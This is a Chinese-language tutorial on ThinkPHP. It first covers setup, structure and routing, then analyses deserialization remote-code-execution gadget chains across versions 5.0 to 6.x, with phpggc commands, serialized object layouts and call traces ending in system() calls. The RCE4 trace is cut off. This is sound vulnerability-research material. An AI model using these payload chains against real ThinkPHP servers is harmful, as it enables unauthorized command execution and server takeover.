ThinkPHP 框架安全

ThinkPHP 是中国开发者广泛使用的一款 开源 PHP 框架,由 TopThink 团队 开发,目标是让开发更快、更简单。它遵循 MVC(Model-View-Controller)设计模式,具有良好的代码组织、数据库操作封装、模板引擎等特性。
ThinkPHP 版本架构:
版本 | 状态 | 最低 PHP | 说明 |
---|---|---|---|
8.x | 最新稳定,官方推荐 | ≥ PHP 8.1 | 全面 PSR 标准、强类型、属性注解,统一配置系统,内置 FPM/Swow 双运行时支持。性能增强,适配现代 PHP 项目。 |
6.1.x | 长期维护 (LTS) | ≥ PHP 7.4 | 社区使用最广,插件教程丰富,架构清晰稳定,适合中大型项目和企业框架基础。 |
5.1/5.0 | 仅安全维护 | ≥ PHP 5.6 | 老项目兼容性好,存在多起已知漏洞(如 RCE/LFI 等),不推荐用于新项目开发。 |
ThinkPHP 的源码托管在 GitHub 上:
ThinkPHP 5.x 和以下版本的源码主仓库位于 https://github.com/top-think/framework。不同版本以
tag
的形式管理。ThinkPHP 6 起进行了架构重组,并迁移到新的组织下,主仓库是:https://github.com/top-think/think。
在分析时我们先把项目源码下载下来,然后通过 git
切换到对应的版本上。
1 | # 克隆仓库 |
环境基础
项目创建
ThinkPHP 自 5.1 起就全面 Composer 化,框架本体被拆分为多个组件,如 topthink/framework
、topthink/think-orm
等;版本号发布统一在 Packagist 上维护。
Packagist 是 Composer 的官方包仓库,所有 PHP 包(类库、框架、插件等)默认都从这里下载安装。
由于 ThinkPHP 的每个版本都可能使用不同的依赖、容器、事件系统,手动放源码无法还原环境差异。因此 ThinkPHP 官方推荐使用 Composer 来创建和管理 ThinkPHP 项目。
我们可以通过下面这条命令创建一个指定版本的 ThinkPHP 项目。
1 | composer create-project topthink/think=版本号 目录名 |
例如:
1 | composer create-project topthink/think=5.0.23 tp5-test |
提示
Composer 默认会自动识别你的 PHP 版本,来判断是否支持该版本的 ThinkPHP。如果版本不满足,它会报错或降级。其中 ThinkPHP 的版本号可以通过 Composer 命令行查询:
1 | composer show topthink/framework --all |
目前支持的版本有:
1 | versions : dev-master, 8.x-dev, v8.1.3, v8.1.2, v8.1.1, v8.1.0, v8.0.4, v8.0.3, v8.0.2, v8.0.1, v8.0.0, v8.0.0-beta, 6.1.x-dev, v6.1.5, v6.1.4, v6.1.3, v6.1.2, v6.1.1, v6.1.0, 6.0.x-dev, v6.0.16, v6.0.15, v6.0.14, v6.0.13, v6.0.12, v6.0.11, v6.0.10, v6.0.9, v6.0.8, v6.0.7, v6.0.6, v6.0.5, v6.0.4, v6.0.3, v6.0.2, v6.0.1, v6.0.0, v6.0.0-rc5, v6.0.0-rc4, v6.0.0-rc3, v6.0.0-rc2, v5.2-rc1, v5.2-beta.3, v5.2-beta.2, 5.1.x-dev, v5.1.42, v5.1.41, v5.1.40, v5.1.39, v5.1.38.1, v5.1.38, v5.1.37.1, v5.1.37, v5.1.36, v5.1.35, v5.1.34, v5.1.33, v5.1.32, v5.1.31, v5.1.30, v5.1.29, v5.1.28, v5.1.27, v5.1.26, v5.1.25, v5.1.24, v5.1.23, v5.1.22, v5.1.21, v5.1.20, v5.1.19, v5.1.18, v5.1.17, v5.1.16, v5.1.15, v5.1.14, v5.1.13, v5.1.12, v5.1.11, v5.1.10, v5.1.9, v5.1.8, v5.1.7, v5.1.6, v5.1.5, v5.1.4, v5.1.3, v5.1.2, v5.1.1, v5.1.0, v5.1-rc.3, v5.1-rc.2, v5.1-rc.1, v5.1-beta.1, v5.0.25, v5.0.24, v5.0.23, v5.0.22, v5.0.21, v5.0.20, v5.0.19, v5.0.18, v5.0.17, v5.0.16, v5.0.15, v5.0.14, v5.0.13, v5.0.12, v5.0.11, v5.0.10, v5.0.9, v5.0.8, v5.0.7, v5.0.6, v5.0.5, v5.0.4, v5.0.3, v5.0.2, v5.0.1, 5.0, 5.0-rc4, 5.0-rc3, 5.0-rc2, 5.0-rc1 |
另外例如 topthink/think=5.0.23
表示的是这个「项目模板包」的版本号是 5.0.23,而 ThinkPHP 的版本号指的是 topthink/framework
(也就是 ThinkPHP 框架核心代码)的版本号,这个并没有直接指定。我们可以通过下面这条命令查看 topthink/framework
的实际版本。
1 | composer show topthink/framework |
也就是说下面这条命令表示“我要用一个符合 ThinkPHP 5.0.23 项目结构的模板创建项目”。
1 | composer create-project topthink/think=5.0.23 tp5-test |
而它依赖的 topthink/framework
版本是由这个模板的 composer.json
决定。
1 | "topthink/framework": "5.0.*" |
这个实际上也可以通过下面这条命令查询:
1 | composer show topthink/think 5.0.24 --all |
所以实际安装的是最新的 5.0.x,也就是 topthink/framework@5.0.25
。
如果我们想将 topthink/framework
降级到指定版本需要运行下面这条命令:
1 | composer require topthink/framework=5.0.23 |
这条命令会将框架降级到 5.0.23,适用于在 5.0.*
这个小版本范围内自由切换版本(如 5.0.22、5.0.25 等),便于测试历史行为或漏洞验证。
项目结构
ThinkPHP5
一个基于 ThinkPHP5 的典型 Web 项目如下:
1 | tp5-test/ ← ★ 整个项目根目录 |
ThinkPHP6
ThinkPHP 6 相比 ThinkPHP 5 项目结构做了不少 精简与现代化 的调整。一个基于 ThinkPHP6 的典型 Web 项目如下:
1 | tp6-test/ ← ★ 整个项目根目录 |
主要的变化有:
- 应用结构变化:
- TP5 默认启用多模块(模块 = 子应用),每个模块是一个 MVC 单元,位于
application/模块名/
下(如index/
、admin/
)。 - TP6/TP8 默认是单一应用结构,所有控制器、模型等放在
app/
目录下。如果需要多模块(多应用模式),需要手动在配置中启用(app.multi_app = true
),并手动创建子目录如app/index/
、app/admin/
。
- TP5 默认启用多模块(模块 = 子应用),每个模块是一个 MVC 单元,位于
- 框架源码位置变化:
- TP5 的框架源码在
thinkphp/
目录,是项目结构的一部分。 - TP6/TP8 的框架核心被完全 Composer 化,源码位于
vendor/topthink/framework/src/think/
中。
这符合现代 Composer 包管理规范,**thinkphp/
目录不再存在**。
- TP5 的框架源码在
- 配置文件组织变化:
- TP5 的配置分布在
application/
根下多个文件中(如config.php
、database.php
)。 - TP6/TP8 把所有配置统一集中到
config/
目录中,按功能拆分多个文件(如config/app.php
、config/database.php
、config/session.php
)。配置加载方式也更加标准化和可扩展。
- TP5 的配置分布在
框架使用
ThinkPHP 是一个基于多模块 + MVC 架构模式的 PHP 框架,强调结构分离、路由映射和快速开发。
官方文档:
ThinkPHP 5.0 文档
👉 https://www.kancloud.cn/manual/thinkphp5/118003ThinkPHP 5.1 文档
👉 https://www.kancloud.cn/manual/thinkphp5_1/353946ThinkPHP 6.0 文档
👉 https://www.kancloud.cn/manual/thinkphp6_0/1037479
MVC 架构
MVC 架构是 ThinkPHP 的基础架构设计,强调职责分离、解耦合、协同开发。具体体现在 application
目录下。通常,application
目录下的同一个模块会分为 model
、view
、controller
三个目录,分别对应 MVC 架构的三个组成部分。在这一架构中,控制器不仅仅是“中介者”,它还负责接收用户请求、验证数据、调度业务逻辑、决定展示视图。
组成 | 位置(默认) | 作用说明 |
---|---|---|
Model | application/[模块]/model/ |
数据操作层(数据库 CURD、逻辑封装) |
View | application/[模块]/view/ |
页面展示层(HTML模板、标签) |
Controller | application/[模块]/controller/ |
业务控制层(请求处理、业务调度) |
例如对于 index
模块,目录结构如下。
1 | application/ |
Controller:控制器层(业务流程控制)
控制器层负责接收请求(参数),验证参数,调用业务逻辑(模型)并最终决定渲染哪一个视图,或返回 JSON 响应。
例如 application/index/controller/User.php
:
1 |
|
Model:模型层(数据访问与封装)
在 ThinkPHP 中,模型(Model)是数据库的面向对象封装,每一个模型类通常对应一张数据库表,它提供了数据表结构的映射,字段的类型转换,数据验证、访问、修改等。模型层本质上是对增删改查等操作的封装,因此你可以像操作对象一样去操作数据库。
在 ThinkPHP 中,模型层的对象需要继承于 think\Model
。think\Model
是 ThinkPHP 的核心模型基类,内置了很多模型层常用的功能,如:
- 数据库 CURD 方法(
get
、all
、save
、destroy
等) - 类型转换(
$type
属性) - 自动时间戳写入(
$autoWriteTimestamp
) - 访问器与修改器(
getXxxAttr()
/setXxxAttr()
) - 事件(beforeInsert、afterDelete 等)
而我们在编写模型层代码的时候实际上就是根据业务需求继承填 think\Model
类并充的字段以及重写方法。
例如下面的 application/index/model/User.php
针对的是数据库中的 user 表。
1 |
|
在 ThinkPHP 5 中,模型类默认会自动映射到数据库中的某张表,这个映射是基于约定进行的。默认映射规则如为:
- 类名去掉命名空间部分
- 将驼峰命名转换为下划线风格
- 转为小写
- 添加数据库配置中的前缀(如 tp_)
例如:
模型类名 | 默认对应表名 |
---|---|
User |
tp_user |
UserInfo |
tp_user_info |
OrderDetailItem |
tp_order_detail_item |
其中假设你的数据库配置中定义了前缀 tp_
:
1 | // config/database.php |
当然如果你想手动指定模型对应的表名,可以用以下方式:
使用
$name
属性(逻辑表名,依然会加前缀)1
2
3
4class User extends Model
{
protected $name = 'member'; // 最终映射到 tp_member 表(受 prefix 影响)
}使用
$table
属性(绝对表名,不加前缀)1
2
3
4class User extends Model
{
protected $table = 'custom_user_table'; // 直接使用完整表名
}
View:视图层(页面展示)
在 ThinkPHP 中,视图层负责将数据以 HTML 形式展现给用户。当你在控制器中调用:
1 | return $this->fetch(); // 或者 $this->fetch('index') |
框架会根据以下默认约定路径规则去查找视图文件:
1 | application/ |
例如:
1 | application/ |
框架根据控制器名 + 方法名来自动匹配视图文件。
User::index()
→ 渲染view/user/index.html
User::create()
→ 渲染view/user/create.html
ThinkPHP 使用的是 ThinkTemplate 模板引擎,支持变量输出、条件语句、循环语句、URL 生成等,语法清晰易读,适合快速开发。
视图渲染由控制器完成,使用 $this->fetch()
方法:
1 | return $this->fetch('index', ['users' => $users]); |
- 第一个参数是模板文件名(省略
.html
) - 第二个参数是传递给模板的变量数组
你可以在模板中使用 {$users}
来访问传入的数据。常见语法有:
功能 | 语法示例 |
---|---|
变量输出 | {$user.name} |
条件判断 | {if $user.name == 'admin'}...{/if} |
循环输出 | {volist name="users" id="user"}...{/volist} |
URL 生成 | {:url('user/delete', ['id' => $user.id])} |
模板继承 | {extend name="layout"} |
模板块定义 | {block name="title"}标题{/block} |
多模块模式
多模块模式是指 ThinkPHP 将应用划分为多个“模块”,每个模块具备完整的 MVC 结构,独立开发和部署。这样可以支持项目复杂性拆分、职责隔离、团队协作,以及每个子系统的独立性。多个模块之间完全解耦,可以在开发过程中减少冲突,提升代码的可重用性。每个模块可以有独立的配置,例如数据库连接、缓存设置等。
例如下面这个目录结构中定义了三个模块:
1 | application/ ← 前台展示(用户访问的网站页面) |
路由访问形式
在 多模块 + MVC 模式下,ThinkPHP 默认的 URL 路由格式如下,这个 URL 路由格式实际上是 ThinkPHP 遵循的“约定优于配置”设计思想的体现。
1 | http://域名/模块/控制器/操作 |
默认情况下,框架根据 URL 解析出模块名、控制器名和方法名,自动映射到 application/
目录下对应的位置:
/模块
:框架会根据 URL 中的模块名去application/模块名/
目录查找。/控制器
:框架会根据控制器名去controller/控制器名.php
查找类文件,类名首字母大写。/操作(方法)
:框架会调用控制器(对应类文件)中的方法,方法名需要与 URL 中的操作名一致。
例如:
http://localhost/index/index/index
→application/index/controller/Index.php::index()
http://localhost/admin/user/login
→application/admin/controller/User.php::login()
http://localhost/api/user/info
→application/api/controller/User.php::info()
默认路由规则由框架自动解析,但你可以在 route.php
中定义自定义路由规则,将 URL 映射到不同的控制器和方法,实现路由美化、RESTful 路由等。这样可以对默认的路由行为进行精细控制。
注意
在 PhpStudy 中将网站的根目录修改为 ThinkPHP 的 public
目录是部署的标准做法,但如果没有手动配置伪静态,PhpStudy 默认会覆盖 public/.htaccess
文件为空文件。这将导致 Apache 无法进行 URL 重写,进而使 ThinkPHP 的默认路由失效(如 /index/index/index
会直接返回 404)。
即使你恢复了 ThinkPHP 默认的 .htaccess
文件,其内容如下:
1 | <IfModule mod_rewrite.c> |
这个配置采用的是 PATH_INFO 模式,即希望 Apache 将 index.php/模块/控制器/操作
中 /模块/控制器/操作
自动作为 PATH_INFO 传递给 PHP。但这依赖于服务器环境(Apache + PHP-FPM 或 CGI)是否启用了对 PATH_INFO 的支持。
在 PhpStudy 的默认环境中,往往并未启用 AcceptPathInfo
或 PHP 的 cgi.fix_pathinfo
配置不兼容,因此该写法虽然是 ThinkPHP 默认提供的,却会导致 URL 无法正确解析(框架无法获取到 PATH_INFO)。
为了解决这个问题,我们建议改用 兼容模式 的 .htaccess
重写规则:
1 | <IfModule mod_rewrite.c> |
该规则通过 GET 参数 s
传递 URL 信息,例如访问 /index/index/index
会被重写为:
1 | index.php?s=index/index/index |
ThinkPHP 内部会自动读取 $_GET['s']
并将其作为 pathinfo 进行解析。这种方式属于 ThinkPHP 支持的 URL 兼容模式,从 TP3 到 TP5.2 都有内置兼容逻辑,对服务器环境几乎没有要求,是最通用、最稳定的解决方案。
route.php
是 ThinkPHP 中定义路由规则的文件,位于 application/
目录下,主要用于进行 URL 的映射、重写和自定义。默认情况下,ThinkPHP 自动加载该文件,并根据文件中的配置来解析路由规则。
route.php
中的规则用于将 URL 映射到具体的 控制器方法。例如,你可以将 http://localhost/login
映射到 application/admin/controller/User.php
中的 login()
方法。
1 | use think\Route; |
另外 route.php
还支持其他多种路由配置模式:
1 | use think\Route; |
提示
ThinkPHP 的中路径参数是 URL 路径中的一部分,通过路由规则中的 :变量名
来定义。例如下面这个例子:
1 | Route::get('user/:id/:name', 'index/user/profile'); |
路由定义中的 :id
、:name
会 自动匹配并注入到函数参数中(路径参数独有的特性),因此我们不需要通过 input
来获取参数。
另外路径参数默认是字符串类型,不会自动进行强制类型转换。如果需要限制传递的参数类型则需要使用 pattern()
限制。
1 | Route::get('user/:id', 'index/user/show')->pattern(['id' => '\d+']); |
但这只是“限制格式”,不等于类型转换,控制器中仍需 (int)$id
或用 /d
过滤。
框架分析
框架结构
源码的目录结构大致如下:
1 | thinkphp/ |
框架启动
路由分发
远程代码执行
SQL 注入
反序列化
RCE1(影响 5.1.x - 5.2.x)
基本信息
影响范围 :5.1.x - 5.2.x
生成命令 :
1
phpggc ThinkPHP/RCE1 system id -b
反序列化对象 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21think\process\pipes\Windows Object
(
[files:think\process\pipes\Windows:private] => Array
(
[0] => think\model\Pivot Object
(
[data:think\Model:private] => Array
(
[smi1e] => id
)
[withAttr:think\Model:private] => Array
(
[smi1e] => system
)
)
)
)反序列化调用链 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18think\process\pipes\Windows->__destruct()
└── $this->removeFiles()
└── foreach ($this->files as $filename)
└── file_exists($filename) // ✅ 需要构造:$this->files = [Pivot对象]
think\model\concern\Conversion->__toString()
└── $this->toJson()
└── $this->toArray()
└── $this->getAttr($key) // ✅ 需要构造:
// $this->visible = null(确保走默认分支)
// $this->data = ['smi1e' => 'id'] (任意键值,控制 $key)
// $this->withAttr = ['smi1e' => 'system'](控制执行函数)
think\model\concern\Attribute->getAttr()
└── $value = $this->getData($key) // 从 $this->data[$key] 获取值(如 'id')
└── $fieldName = Loader::parseName($key) // 转为下划线字段名('smi1e' -> 'smi1e')
└── $closure = $this->withAttr[$fieldName]// 取出 system / 匿名函数
└── $closure($value, $this->data) // ✅ 最终执行点,system("id", [...])
调用链分析
think\process\pipes\Windows
类的 __destruct
函数调用到自身的 removeFiles
函数。
1 | public function __destruct() |
think\process\pipes\Windows::removeFiles
函数会对 $this->files
数组中的项调用 file_exists
函数。 file_exists
函数的参数应该是字符串类型,因此该函数内部会触发参数的 __toString
方法。
1 | /** |
提示
在 Windows::removeFiles
之前调用的 Windows::close
函数会遍历 $this->fileHandles
然后调用 fclose
函数释放资源,我们只需要将 $this->fileHandles
设置为空就不会影响到我们的利用流程。
1 | /** |
我们可以在 $this->files
数组中存放一个 think\model\Pivot
对象。
由于 Pivot
通过继承抽象类 Model
,而 Model
使用了 think\model\concern\Conversion
和 think\model\concern\Attribute
这两个 trait,从而获得了这些方法:
Pivot->__toString
:Conversion::__toString
Pivot->getAttr
:Attribute::getAttr
因此前面 Windows::removeFiles
调用的 file_exists
触发了 $filename
也就是 Pivot
的 __toString
方法。从而会有 Conversion::__toString → Conversion::toJson → Conversion::toArray
调用链。
1 | public function __toString() |
在 Conversion::toArray
方法中,我们通过设置 $this->visible = null
且 $this->data
不为空就可以调用到 Attribute::getAttr
方法,并且传入的参数是 $this->data
中的一个键。
1 | /** |
Attribute
的函数会调用 $closure
函数变量,并且传入参数 $value
。
1 | /** |
参数 $value
来自于 $this->getData($name)
,Attribute::getData
会返回 $this->data[$name]
的值。
1 | /** |
函数 $closure
来自于 $this->withAttr[$fieldName]
,而 $fieldName
来自于 Loader::parseName($name)
。
函数 Loader::parseName()
是 ThinkPHP 中常见的 命名风格转换工具函数,用于在不同命名风格之间进行转换。因为参数 $type
没有设置,因此该函数按照默认的 $type = 0
将字符串从驼峰转换为下划线。
1 | /** |
也就是说 $closure
和 $value
都是我们可控的,因此我们可以调用 system
函数执行命令。
利用脚本
1 |
|
RCE2(影响 5.0.x)
基本信息
影响范围 :5.0.24,其他 5.0.x 的版本也可以适用。
生成命令 :
1
phpggc ThinkPHP/RCE2 system id -b -u
反序列化对象 :
反序列化调用链 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66think\process\pipes\Windows->__destruct()
└── removeFiles()
└── foreach ($this->files as $filename)
└── file_exists($filename) // ✅ 触发 __toString()
think\model\Pivot->__toString() // 从 Model 抽象类继承
└── toJson()
└── toArray()
└── foreach ($this->append as $name) // ✅ 构造 $this->append = ['getError']
└── method_exists($this, $name) // ✅ getError 存在
└── $modelRelation = $this->$name() // ✅ 返回 HasOne 对象
└── $value = $this->getRelationData($modelRelation)
└── $this->parent !== null // ✅ Pivot->parent = Output
└── !$modelRelation->isSelfRelation() // ✅ HasOne->selfRelation = false
└── get_class($modelRelation->getModel()) == get_class($this->parent)
└── return $this->parent // ✅ 返回 Output 对象
└── $bindAttr = $modelRelation->getBindAttr() // ✅ 返回 ['no']
└── foreach ($bindAttr as $attr)
└── $value->getAttr($attr) // ✅ Output 没有 getAttr,进入 __call()
think\console\Output->__call("getAttr", ["no"])
└── if (in_array($method, $this->styles)) // ✅ 构造 $this->styles = ['getAttr']
└── array_unshift($args, $method) // ✅ $args = ['getAttr', 'no']
└── call_user_func_array([$this, 'block'], ['getAttr', 'no'])
└── block("getAttr", "no")
└── writeln("<getAttr>no</getAttr>")
└── write("<getAttr>no</getAttr>", true, 0)
└── $this->handle->write("<getAttr>no</getAttr>", true, 0) // ✅ $this->handle 为 Memcached
think\session\driver\Memcached->write($sessID, $sessData, $expire)
└── $sessID = "<getAttr>no</getAttr>", $sessData = true, $expire = 3600
└── $this->handler->set("HEXENS" . $sessID, $sessData, $expire)
→ set("HEXENS<getAttr>no</getAttr>", true, 3600)
think\cache\driver\Memcache->set("HEXENS<getAttr>no</getAttr>", true, 3600)
└── if (is_null($expire)) → false // ✅ $expire = 3600,不为空
└── if ($expire instanceof \DateTime) → false // ✅ $expire 是整数,不是对象
└── if ($this->tag && !$this->has($name)) // ✅ $this->tag = true,执行 $this->has()
└── $this->has("HEXENS<getAttr>no</getAttr>")
└── $key = $this->getCacheKey($name)
→ $key = "HEXENS<getAttr>no</getAttr>"
└── $key = $this->getCacheKey($name)
└── $key = $this->options['prefix'] . $name // ✅ 默认 $this->options['prefix'] = ''
└── $key = "HEXENS<getAttr>no</getAttr>" // ✅ 保持键名原样不变
└── $this->handler->get($key) // ✅ handler 是 think\Request 对象
think\Request->get("HEXENS<getAttr>no</getAttr>")
└── input($this->get, $name = "HEXENS<getAttr>no</getAttr>", $default = null, $filter = '')
└── strpos($name, '/') → true
└── list($name, $type) = explode('/', $name)
└── $name = "HEXENS<getAttr>no<" // ✅ '/' 被当作类型分隔符,保留 '<'
└── $type = "getAttr>"
└── foreach (explode('.', $name)) // ✅ 无 '.',单段字段
└── $val = "HEXENS<getAttr>no<"
└── $data = $this->get[$val] // ✅ 命中键名,取出 'calc'
└── $value = 'calc'
└── getFilter($filter = '', $default = null)
└── $filter = $filter ?: $this->filter = 'system' // ✅ 设置默认过滤器
└── explode(',', $filter) → ['system'] // ✅ 生成过滤器函数名数组
└── $filter[] = $default = null // ✅ 最终 filters = ['system', null]
└── $filters = ['system', null]
└── filterValue($value = 'calc', $key = 'HEXENS<getAttr>no<', $filters)
└── $default = array_pop($filters) → null // ✅ 弹出 null,剩 ['system']
└── foreach ($filters as $filter)
└── is_callable($filter) = true
└── call_user_func($filter = 'system', $value = 'calc') // ✅ 命令执行点
调用链分析
首先调用链前半部分与 RCE1 相同,只不过 5.0.x 版本的 ThinkPHP 的没有 think\model\concern\Conversion
和 think\model\concern\Attribute
这两个 trait,也就是说 think\model\Pivot
的 __toString
等方法都是通过继承抽象类 Model
获得的。
因此调用链为:
1 | think\process\pipes\Windows->__destruct() |
think\model\Pivot->toArray
方法在 5.0.x 的实现和前面的 5.1.x 不同,并且绕过过程比较复杂。这个函数最终执行的效果就是调用到 think\console\Output->getAttr
方法。
1 |
|
其中 Model
的 getRelationData
方法可以通过构造 Pivot
对象使其返回可控的 Pivot->parent
对象。
1 | /** |
通过伪造 ``Pivot->parent指向的
think\console\Output 对象(
styles设置为
[“getAttr”]),的
Output->__call方法可以形成如下调用链,最终会调用到
$this->handle->write` 方法。
1 | // method = "getAttr", $args = ["no"] |
其中 $this->handle
被设置为 think\session\driver\Memcached
对象。而 Memcached->write
函数实现如下。其中 Memcached->handler
被设置为 think\cache\driver\Memcache
对象,因此会调用到 该对象的 set
方法。
1 | config = [ |
在 think\cache\driver\Memcache
对象中有如下调用链,最终调用到 think\Request->get
方法。
1 | /** |
think\Request->get
函数进一步会调用 think\Request->input
函数,并传入 $this->get = ['HEXENS<getAttr>no<' => 'calc']
参数。
1 | /** |
think\Request->input
函数
1 | protected function getFilter($filter, $default) |
think\Request->filterValue
函数先是从 $filters
中移除最后一项 null
,之后遍历 $filters
数组依次调用里面的函数并且参数为 $value
。由于函数和参数都可控,因此我们可以调用 system
函数执行任意命令。
1 | /** |
利用脚本
1 |
|
RCE3(影响 6.0.1+)
基本信息
影响范围 :6.0.1+
生成命令 :
1
phpggc ThinkPHP/RCE3 system id -b -u
反序列化对象 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27League\Flysystem\Cached\Storage\Psr6Cache Object
(
[pool:League\Flysystem\Cached\Storage\Psr6Cache:private] => League\Flysystem\Directory Object
(
[filesystem:protected] => League\Flysystem\Directory Object
(
[filesystem:protected] => think\Validate Object
(
[type:protected] => Array
(
[key] => system
)
)
[path:protected] => calc
)
[path:protected] => key
)
[autosave:protected] =>
[key:protected] => Array
(
)
)反序列化调用链 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24League\Flysystem\Cached\Storage\Psr6Cache->__destruct()
└── save()
└── $this->pool->getItem($this->key) // ✅ $this->pool = Directory1,无 getItem 方法
└── Directory->__call("getItem", [$this->key]) // ✅ 第一次 __call
League\Flysystem\Directory->__call("getItem", [$this->key])
└── array_unshift($arguments, $this->path) // ✅ $arguments = [$path1, $key]
└── call_user_func_array([$this->filesystem, "getItem"], [$path1, $key])
└── Directory->__call("getItem", [$path1, $key]) // ✅ 第二次 __call(filesystem = Directory2)
League\Flysystem\Directory->__call("getItem", [$path1, $key])
└── array_unshift($arguments, $this->path) // ✅ $arguments = [$path2, $path1, $key]
└── call_user_func_array([$this->filesystem, "getItem"], [$path2, $path1, $key])
└── think\Validate->__call("getItem", [$path2, $path1, $key])
think\Validate->__call("getItem", [$path2, $path1, $key])
└── array_push($args, 'getItem') // ✅ $args = [$path2, $path1, $key, 'getItem']
└── call_user_func_array([$this, 'is'], [$path2, $path1, $key, 'getItem'])
think\Validate->is($value = $path2, $rule = $path1, $data = $key)
└── $data 类型必须为 array // ✅ 否则触发 TypeError
└── switch (Str::camel($rule)) → default
└── isset($this->type[$rule]) → true // ✅ $this->type[$path1] = 'system'
└── call_user_func_array($this->type[$rule], [$value]) // ✅ system($path2)
调用链分析
League\Flysystem\Cached\Storage\Psr6Cache
类继承于 League\Flysystem\Cached\Storage\AbstractCache
,因此析构的时候调用的是 AbstractCache->__destruct
函数。
在该 __destruct
函数中,如果 AbstractCache
的 $autosave
属性值为 false
,则会调用到 Psr6Cache->save
函数。
1 | /** |
Psr6Cache->save
函数会调用 $this->pool
的 getItem
方法,参数为 $this->key
。
1 | /** |
由于我们设置 $this->pool
为 League\Flysystem\Directory
对象,该对象没有 getItem
方法,因此会调用到 Directory
实现的抽象类 League\Flysystem\Handler
的 __call
方法。
1 | /** |
这个函数主要功能是在 $this
自身没有 $method
方法的情况下调用 $this->filesystem
的 $method
方法,而参数方面则在原始参数的基础上将 $this->path
插到第一个参数上,也就是 [Directory->path, Psr6Cache->key]
。
由于 $this->filesystem
是我们可控的,因此我们可以调用任意对象的 getItem
(或者是 __call
)方法,并且有两个可控参数。
在 ThinkPHP 中有另一个 think\Validate
类,这个类的 __call
方法会调用类的 is
方法,同时参数传入原本的参数和经过转换后(按照小驼峰规则去掉 is
前缀)的方法名。
1 | /** |
而对于 think\Validate
类的 is
方法,如果前面的 call_user_func_array
的参数 $args
满足下面两个条件:
第 2 个参数转换为小驼峰后不是
require
,accepted
,date
,activeUrl
,boolean
,bool
,number
,alphaNum
,array
,file
,image
,token
中的任意一个。第 3 个参数类型为数组。因为如果
$args
中的第三个参数不是数组类型,会出现 PHP 类型错误(TypeError)PHP 是弱类型语言,但从 PHP 7.0 起引入了“严格类型”提示机制(严格参数类型声明)。这里的
array $data
就是 参数类型强约束(type hinting),不是“弱类型”的行为。
就可以调用 $this->type[$rule]
指定的方法,并传入参数 $value
。这里 $rule
和 $value
分别是前面 __call
传入的第 1、2 个参数。
1 | /** |
因此我们不难想到利用前面 Directory
的 __call
方法的 call_user_func_array
调用 Validate
类的 __call
方法来实现 RCE。
然而虽然 Validate
类没有 getItem
因此可以调到 __call
函数,但是 Validate
需要我们有 3 个参数可控,而我们利用 Directory
的 __call
方法调用过来只有 2 个参数可控,不满足利用条件。
不过我们观察到 Directory
的 __call
方法在调用 call_user_func_array
之前会向参数列表的头部插入一个 $this->path
,因此我们可以再调用一次 Directory
的 __call
方法确保参数数组中有 3 个值可控,然后再调用 Validate
类的 __call
方法来实现 RCE。
利用脚本
1 |
|
RCE4(影响 6.0.1+)
基本信息
影响范围 :6.0.1+
生成命令 :
1
phpggc ThinkPHP/RCE4 system id -b -u
反序列化对象 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40think\model\Pivot Object
(
[exists:think\Model:private] => 1
[force:think\Model:private] => 1
[lazySave:think\Model:private] => 1
[data:think\Model:private] => Array
(
[0] => 0
)
[suffix:protected] => think\model\Pivot Object
(
[data:think\Model:private] => Array
(
[key] => Array
(
[key] => calc
)
)
[withAttr:think\Model:private] => Array
(
[key] => Array
(
[key] => system
)
)
[json:protected] => Array
(
[0] => key
)
[jsonAssoc:protected] => 1
)
[withEvent:protected] =>
)反序列化调用链 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42think\model\Pivot->__destruct()
└── if ($this->lazySave) // ✅ $this->lazySave = true,进入判断
└── save(array $data = [], string $sequence = null): bool
└── $this->setAttrs([]) // ✅ 空数组,无属性被设置
└── if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) // ✅ $this->data 非空;$this->withEvent = false → trigger 返回 true,不进入
└── if ($this->exists) // ✅ $this->exists = true,进入分支
└── updateData(): bool
└── if (false === $this->trigger('BeforeUpdate')) // ✅ $this->withEvent = false → trigger 返回 true,不进入
└── $this->checkData() // ✅ 空实现,无操作
└── getChangedData(): array // ✅ 返回的 $data 必须是 array 类型的
└── if ($this->force) // ✅ $this->force = true
└── $data = $this->data // ✅ $this->data = ['key' => ['key' => 'calc']]
└── foreach ($this->readonly as $key => $field) // ✅ $this->readonly = [],不进入循环
└── return $data
└── if (empty($data)) // ✅ $data 非空,不进入
└── if ($this->autoWriteTimestamp && $this->updateTime) // ✅ autoWriteTimestamp = null,不进入
└── checkAllowFields(): array
└── if (empty($this->field)) // ✅ field = null,进入
└── if (!empty($this->schema)) // ✅ schema = null,不进入
└── $query = $this->db(array $scope = [])
└── $query = self::$db->connect($this->connection)
└── $query->name($this->name . $this->suffix) // ✅ $this->name 为 Pivot 对象,触发 __toString()
think\model\Pivot->__toString(): string // ✅ 魔术方法入口
└── toJson(int $options = JSON_UNESCAPED_UNICODE): string
└── toArray(): array
└── $data = array_merge($this->data, $this->relation) // ✅ $this->relation = [],合并后仍为 $this->data
└── foreach ($data as $key => $val) // ✅ $this->data = ['key' => ['key' => 'calc']]
└── if (!isset($this->hidden[$key]) && !$hasVisible) // ✅ hidden = [],hasVisible = false,进入判断
└── getAttr($key = "key")
└── getData(string $name = "key")
└── $fieldName = $this->getRealFieldName("key") // ✅ strict = true 且无驼峰转换,返回 "key"
└── if (array_key_exists("key", $this->data)) // ✅ 命中
└── return $this->data["key"] = ["key" => "calc"]
└── getValue(string $name = "key", mixed $value = ["key" => "calc"], bool $relation = false)
└── $fieldName = $this->getRealFieldName("key") // ✅ 返回 "key"
└── if (isset($this->withAttr["key"])) // ✅ 存在
└── if (in_array("key", $this->json)) // ✅ json = ["key"]
└── if ($this->jsonAssoc) // ✅ jsonAssoc = true
